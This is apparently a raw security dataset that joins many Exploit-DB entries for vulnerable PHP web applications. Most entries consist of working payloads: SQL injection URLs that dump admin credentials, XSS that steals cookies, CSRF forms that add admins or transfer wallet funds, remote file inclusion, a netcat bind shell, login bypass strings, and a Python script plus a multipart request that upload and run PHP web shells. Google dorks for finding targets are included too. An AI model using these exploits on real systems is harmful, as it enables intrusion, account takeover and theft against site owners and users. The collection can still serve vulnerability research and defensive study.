deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31420
Description: Eventy Online Scheduler 1.8 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-02-05
Author: AtT4CKxT3rR0r1ST

Exploit:
Eventy Online Scheduler V1.8   - Multiple Vulnerabilties
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         :
http://calendarscripts.info/event-calendar-software.html
.:. Dork           : "Powered by CalendarScripts.info"
####################################################################

[1] Sql Injection
==================
VULNERABILITY
##############
/eve_event.php (line 15-16)

$query="SELECT * FROM $T_EVENTS WHERE id=".$_GET['id'];

$event=$DB->sq($query);

#########
EXPLOIT
#########
http://site/eve_event.php?id=null+and+1=2+union+select+1,group_concat(id,0x3a,username,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+evp_admin


[2] Cross Site Scripting
=========================


http://site/eventy.php?next=1&selmonth=January&selyear=2014'"()%26%25<ScRiPt
>prompt(document.cookie)</ScRiPt>


[3] Cross Site Request Forgery
==============================

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://site/a_admins.php">
<input type="hidden" name="username" value="admin"/>
<input type="hidden" name="pass" value="admin"/>
<input type="hidden" name="add" value="1"/>
</form>
</body>
</html>


####################################################################
Exploit-DB #30132
Description: Evenzia Content Management Systems (CMS) - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-01
Author: Glafkos Charalambous

Exploit:
source: https://www.securityfocus.com/bid/24270/info

Evenzia CMS is prone to a cross-site script vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/includes/send.inc.php/>'>><script>alert(document.cookie)</script>
Exploit-DB #11306
Description: Evernew Free Joke Script - 'viewjokes.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-01
Author: Hamza 'MizoZ' N.

Exploit:
/*

Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
WebSite : www.evernewscripts.com

Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com

Greetz : Zuka , int_0x80 , geeksec.com ... a loot

*/

# VULN CODE ]--[ viewjokes.php :

$id=$HTTP_GET_VARS['id'];
$title=$HTTP_GET_VARS['title'];

stuffViewer($id, 'jokes');

$query="select * from jokes where id=$id";
$allresults=mysql_query($query);
$viewjokes=mysql_fetch_array($allresults);

# EXPLOIT :

http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1--
Exploit-DB #8817
Description: Evernew Free Joke Script 1.2 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-05-27
Author: taRentReXx

Exploit:
@~~=======================================~~@
       ============taRentReXx===================
		  The Indian Hacker
@~~=======================================~~@

@~~=Author   : taRentReXx

@~~=Email    : darkxr00tx@gmail.com

@~~===============INDIAN=================~~@


@~~=======================================~~@
@~~=Script   : Evernewjoke Script

@~~=S.Site   : http://www.evernewscripts.com/2009/02/free-joke-script/

@~~=Demo     : http://www.evernewjokes.com/
@~~=======================================~~@



@~~=Vul file :joke-archives.php

@~~=Exploit :-

		joke-archives.php?start=0&cat_id=-1 union all select 1,2,concat(user,0x3a,password),4,5,0x[PII_REDACTED]52656e[PII_REDACTED],7,8,9,10,11,12,13 from admin--


		!! DEMO !!:-

		http://www.evernewjokes.com/joke-archives.php?start=0&cat_id=-1 union all select 1,2,concat(user,0x3a,password),4,5,0x[PII_REDACTED]52656e[PII_REDACTED],7,8,9,10,11,12,13 from admin--



@~~=======================================~~@
@~~=======================================~~@

Greetz to all muslims brothers.
to all indians
to milw0rm

@~~===============INDIAN=================~~@

# milw0rm.com [2009-05-27]
Exploit-DB #8956
Description: Evernew Free Joke Script 1.2 - Remote Change Password
Type: webapps
Platform: php
Date: 2009-06-15
Author: Hakxer

Exploit:
<!--
  Discovered & Exploited by : Hakxer
  Evernew Free Joke Script 1.2 => Remote Change Password
 
  [=>] Bug detail
  bug in change.php file
  in line 10 :
  $result=mysql_query("update admin set password='$pass'");
 -----------------------
 
  [=>] Fix
  $result=mysql_escape_string("update admin set password='$pass'");
  change mysql_query to mysql_escape_string
 
  [=>] Greetz : ExH , ProViDoR , Error code , dody2100 , sinaritx , all my friends
!-->
<form action="http://www.site.com/script/admin/change.php" method="post" name="form1" id="form1" onSubmit="MM_validateForm('password','','R');return document.MM_returnValue">
<font class="text"><b>enter password to change it in admin :D</b></font> <br />
<br/>
<table width="305" height="106" border="0" cellpadding="5" cellspacing="0">
<tr>
<td width="103" class="text">Password : </td>
<td width="182"><div align="left">
<input name="password" type="password" class="style7" id="password" />
</div></td>
</tr>
<tr>
<td colspan="2"><div align="center">
<input name="Submit" type="submit" class="text_1" value="Change Password" />
</div></td>
</tr>
<tr>
<td colspan="2"><?php echo($msg); ?> </td>
</tr>
</table>
</form>

# milw0rm.com [2009-06-15]
Exploit-DB #45868
Description: EverSync 0.5 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2018-11-15
Author: Ihsan Sencan

Exploit:
# Exploit Title: EverSync 0.5 - Arbitrary File Download
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://phpmassmail.sourceforge.io/
# Software Link: https://datapacket.dl.sourceforge.net/project/eversync/Downloads/alpha/EverSync-Pre-alpha05.zip
# Version: 0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: Dztabase Download
# 1) 
# http://localhost/[PATH]/files/db.sq3
# 

GET /[PATH]/files/db.sq3 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=dhq0fbvco8d0sc0lem3l2kktk0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 19:47:32 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
Last-Modified: Wed, 14 Nov 2018 19:37:00 GMT
ETag: "3800-57aa50ed0a29c"
Accept-Ranges: bytes
Content-Length: 14336
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Exploit-DB #4865
Description: evilboard 0.1a - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-08
Author: seaofglass

Exploit:
#####################################################################
##
##  Title: EvilBoard 0.1a (Alpha) Multiple Remote Vulnerabilities
##  Author: seaofglass, <seaofglass[at]korea.com>
##  Download: http://sourceforge.net/projects/evilboard
##  Bug: XSS & Remote Sql Injection
##  Info: EvilBoard is using PHP and mysql.
##  MySite: http://seaofglass.backrush.com
##
#####################################################################

# bug 1  : XSS

# PoC
http://host/EvilBoard_0.1a/index.php?c='><script>alert('hi');</script>


# bug 2 : Remote SQL Injection

# PoC
http://host/EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from/**/eb_members/**/where/**/userid=1/*

# thanks
vangelis, AmesianX

# milw0rm.com [2008-01-08]
Exploit-DB #7933
Description: eVision CMS 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-30
Author: darkjoker

Exploit:
--+++============================================================+++--
--+++====== eVision CMS <= 2.0 SQL Injection Vulnerability ======+++--
--+++============================================================+++--

[+] Author  : darkjoker
[+] Site    : http://darkjoker.net23.net
[+] Download: http://kent.dl.sourceforge.net/sourceforge/e-vision/eVision-2.0.tar.gz

[+] Vulnerable code:

    67  $sql = "SELECT `".$_GET['field']."` FROM ".$_GET['module']." WHERE `id".$_GET['module']."`='".$_GET['id']."'";
    68  $result = mysql_query($sql);
    69  $row = mysql_fetch_array($result);
    70
    71  if ( isset($_GET['div']) ) { $div = 'class="'.$_GET['div'].'"'; }
    72  else { $div = ''; }
    73  if ( isset($_GET['font']) ) { $font = 'class="'.$_GET['font'].'"'; }
    74  else { $font = ''; }
    75
    76  echo '
    77  <html '.$div.'>
    78  <head>
    79          <meta http-equiv="Content-Type" content="text/html; charset='.$charset.'">
    80          <link rel="stylesheet" type="text/css" href="'.$path.'style.php?template='.$template.'&module='.$_GET['module'].'">
    81  </head>
    82  <body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0" '.$font.'>'.set_text($row[$_GET['field']]).'</body>
    83  </html>
    84  ';


[+] It prints admin's password (hashed):

[+] /iframe.php?field=pass&module=users&id=1

# milw0rm.com [2009-01-30]
Exploit-DB #2431
Description: evoBB 0.3 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: SHiKaA

Exploit:
#==============================================================================================
#evoBB <= v0.3 (path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://www.4yougratis.it/script_php/forum/evoBBv0.3.htm     
#                                                                      
#Version : v0.3                                            
#                                                        
#================================================================================================
#Bug in : track.php
#
#Vlu Code :
#--------------------------------
#
#        require_once($path.'connect.php');
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/track.php?path=http://SHELLURL.COM
#http://sitename.com/[Script Path]/connect.php?path=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & simoo & Timq & XoRoN & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25]
Exploit-DB #27837
Description: EvoTopsite 2.0 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-05-08
Author: Hamid Ebadi

Exploit:
source: https://www.securityfocus.com/bid/17893/info

evoTopsite is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/products/evotopsites/demo/index.php?cat_id=-13&#039;%20union%20select%20password%20from%20evots_user%20%20where%20&#039;1&#039;=&#039;1
Exploit-DB #44732
Description: eWallet Online Payment Gateway 2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-23
Author: L0RD

Exploit:
# Exploit Title:  eWallet - Online Payment Gateway 2 - Cross-Site Request Forgery
# Date: 2018-05-23
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/ewallet-online-payment-gateway/19316332?s_rank=1110
# Version: 2
# Tested on: Kali linux

# POC :
# eWallet - Online Payment Gateway 2 suffers from csrf vulnerability .
# Attacker can send target account balance to his account .

# Exploit :

<html>
<head>
  <title>CSRF POC</title>
</head>
  <body>
    <form action="http://idealbrothers.thesoftking.com/walletv2/account/Sent" method="POST">
      <input type="hidden" name="sendto" value="lord&#64;yahoo&#46;com" />
      <input type="hidden" name="amount" value="100000" />
      <input type="hidden" name="charge" value="on" />
      <input type="hidden" name="message" value="test" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
Exploit-DB #31402
Description: eWeather - 'chart' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-12
Author: NetJackal

Exploit:
source: https://www.securityfocus.com/bid/28241/info

eWeather is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://example.net/modules.php?name=eWeather&chart=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #12699
Description: eWebEditor 1.x - 'WYSIWYG' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-22
Author: Ma3sTr0-Dz

Exploit:
=============================================================================
# Tilte: eWebEditor v1.x (WYSIWYG) Remote File Upload .
=============================================================================

#
Date....................: [22-05-2010]
# Author..................: [Ma3sTr0-Dz]
# Location ...............: [Algeria]
# Software ...............: [eWebEditor v1.x (WYSIWYG) Remote File Upload .]
# Impact..................: [Remote]
# Site Software ..........:[http://www.ewebeditor.net/]
# Sptnx ..................: [CmOs_CLR & Sec4ever Memberz.]
# Home : .................: [Www.Sec4ever.Com/home/ For Latest 2010 Localz & priv8 Exploits !]
# Contact me : ...........: [o5m@hotmail.de] 
# Vulnerability: Remote File Upload .


#
Part ExplOit & Bug Codes :

------
Dork :
------
allinurl:ewebeditor/asp/

Exploit :
---------

http://site.com/[path]/asp/upload.asp?type=file&style=coolblue&language=zh-cn

http://site.com/uploads/asp/sec4ever.asp;.jpg
-----------------------
Don't Forget : Www.Sec4ever.com/home /// Ur Secure Mind /
Exploit-DB #30588
Description: ewire Payment Client 1.60/1.70 - Command Execution
Type: webapps
Platform: php
Date: 2007-09-17
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/25683/info

ewire Payment Client is prone to a vulnerability that allows attackers to execute arbitrary shell commands because the software fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary shell commands on an affected computer with the privileges of the application using the affected class utility.

ewire Payment Client 1.60 and 1.70 are vulnerable to this issue. 

GET
http://www.example.com/simplePHPLinux/3payment_receive.php?paymentin
fo=`/bin/nc -l -p6666 -e /bin/bash`
$ telnet www.example.com 6666
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Exploit-DB #48234
Description: Exagate Sysguard 6001 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2020-03-20
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: Exagate Sysguard 6001 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.exagate.com/
# Software Link: https://www.exagate.com/sysguard-6001
# Version: SYSGuard 6001

HTML CSRF PoC :

<html>
  <body>
    <form action="http://target/kulyon.php" method="POST">
      <input type="hidden" name="username" value="joke" />
      <input type="hidden" name="password" value="159384" />
      <input type="hidden" name="privilege" value="0" />
      <input type="hidden" name="button" value="Ekle" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #50360
Description: Exam Form Submission System 1.0 - SQL Injection Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-01
Author: Nitin Sharma

Exploit:
# Exploit Title: Exam Form Submission System 1.0 - SQL Injection Authentication Bypass
# Date: 30-09-2021
# Exploit Author: Nitin Sharma (Vidvansh)
# Vendor Homepage: https://code-projects.org
# Product link: https://code-projects.org/exam-form-submission-in-php-with-source-code/
# Version: 1.0
# Tested on: XAMPP / Windows 10

Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/EXAM_FORM_SUBMISSION/admin/index.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to ' OR 1 -- -  and password to ' OR 1 -- -.
Step 5 – Click forward and now you will be logged in as admin.

POC 
POST /EXAM_FORM_SUBMISSION/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://localhost
Connection: close
Referer: http://localhost/EXAM_FORM_SUBMISSION/admin/index.php
Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

email='%20OR%201%20--%20-&pass='%20OR%201%20--%20-&Login=Login
Exploit-DB #50111
Description: Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-07-08
Author: Davide \'yth1n\' Bianchin

Exploit:
# Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthenticated)
# Exploit Author: Davide 'yth1n' Bianchin
# Contacts: davide dot bianchin at dedagroup dot it
# Original PoC: https://exploit-db.com/exploits/50103
# Date: 06.07.2021
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14205/exam-hall-management-system-full-source-code-using-phpmysql.html
# Version: 1.0
# Tested on: Kali Linux

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import os
import sys
import string
import random
import time

host = 'localhost' #CHANGETHIS
path = 'SourceCode' #CHANGETHIS

url = 'http://'+host+'/'+path+'/pages/save_user.php'

def id_generator(size=6, chars=string.ascii_lowercase):
	return ''.join(random.choice(chars) for _ in range(size))+'.php'

if len(sys.argv) == 1:
    print("#########")
    print("Usage: python3 examhallrce.py command")
    print("Usage: Use the char + to concatenate commands")
    print("Example: python3 examhallrce.py whoami")
    print("Example: python3 examhallrce.py ls+-la")
    print("#########")
    exit()


filename = id_generator()
print("Generated "+filename+ " file..")
time.sleep(2)
print("Uploading file..")
time.sleep(2)

   


def reverse():
    command = sys.argv[1]
    multipart_data = MultipartEncoder({
        'image': (filename, '<?php system($_GET["cmd"]); ?>', 'application/octet-stream'),
        'btn_save': ''
        })
    r = requests.post(url, data=multipart_data, headers={'Content-Type':multipart_data.content_type})   
    endpoint = 'http://'+host+'/'+path+'/uploadImage/Profile/'+filename+'' 
    urlo = 'http://'+host+'/'+path+'/uploadImage/Profile/'+filename+'?cmd='+command+''
    print("Success, file correctly uploaded at: " +endpoint+ "")
    time.sleep(1) 
    print("Executing command in 1 seconds:\n")
    time.sleep(1)
    os.system("curl -X GET "+urlo+"")

reverse()
Exploit-DB #50726
Description: Exam Reviewer Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2022-02-09
Author: Juli Agarwal

Exploit:
# Exploit Title: Exam Reviewer Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-02-08
# Exploit Author:  Juli Agarwal(@agarwaljuli)
# Vendor Homepage:
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html

# Software Link:
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code

# Version: 1.0
# Tested on: XAMPP, Kali Linux



Description – The application suffers from a remote code execution in the
admin panel. An authenticated attacker can upload a web-shell php file in
profile page to achieve remote code execution.



POC:-



==========

# Request:

==========

POST /erms/classes/Users.php?f=save HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0

Accept: */*

Accept-Language: en-US,en;q=0.5

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]341961306

Content-Length: 1004

Origin: http://localhost

Connection: close

Referer: http://localhost/erms/admin/?page=user

Cookie: PHPSESSID=22f0bd65ef694041af3177057e7fbd5a



----------------------------[PII_REDACTED][PII_REDACTED]341961306

Content-Disposition: form-data; name="id"



1

----------------------------[PII_REDACTED][PII_REDACTED]341961306

Content-Disposition: form-data; name="firstname"



Adminstrator

----------------------------[PII_REDACTED][PII_REDACTED]341961306

Content-Disposition: form-data; name="lastname"



Admin

----------------------------[PII_REDACTED][PII_REDACTED]341961306

Content-Disposition: form-data; name="username"



admin

----------------------------[PII_REDACTED][PII_REDACTED]341961306

Content-Disposition: form-data; name="password"



----------------------------[PII_REDACTED][PII_REDACTED]341961306

Content-Disposition: form-data; name="img"; filename="shell.php"

Content-Type: application/x-php



<html>

<body>

<b>Remote code execution: </b><br><pre>

                              <?php if(isset($_REQUEST['cmd'])){ echo
"<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

</pre>

</body>

</html>



----------------------------[PII_REDACTED][PII_REDACTED]341961306—



================

# Webshell access:

================



# Webshell access via:

POC: http://localhost/erms/uploads/[PII_REDACTED]_shell.php?cmd=id



# Webshell response:

Remote code execution:

uid=1(daemon) gid=1(daemon) groups=1(daemon)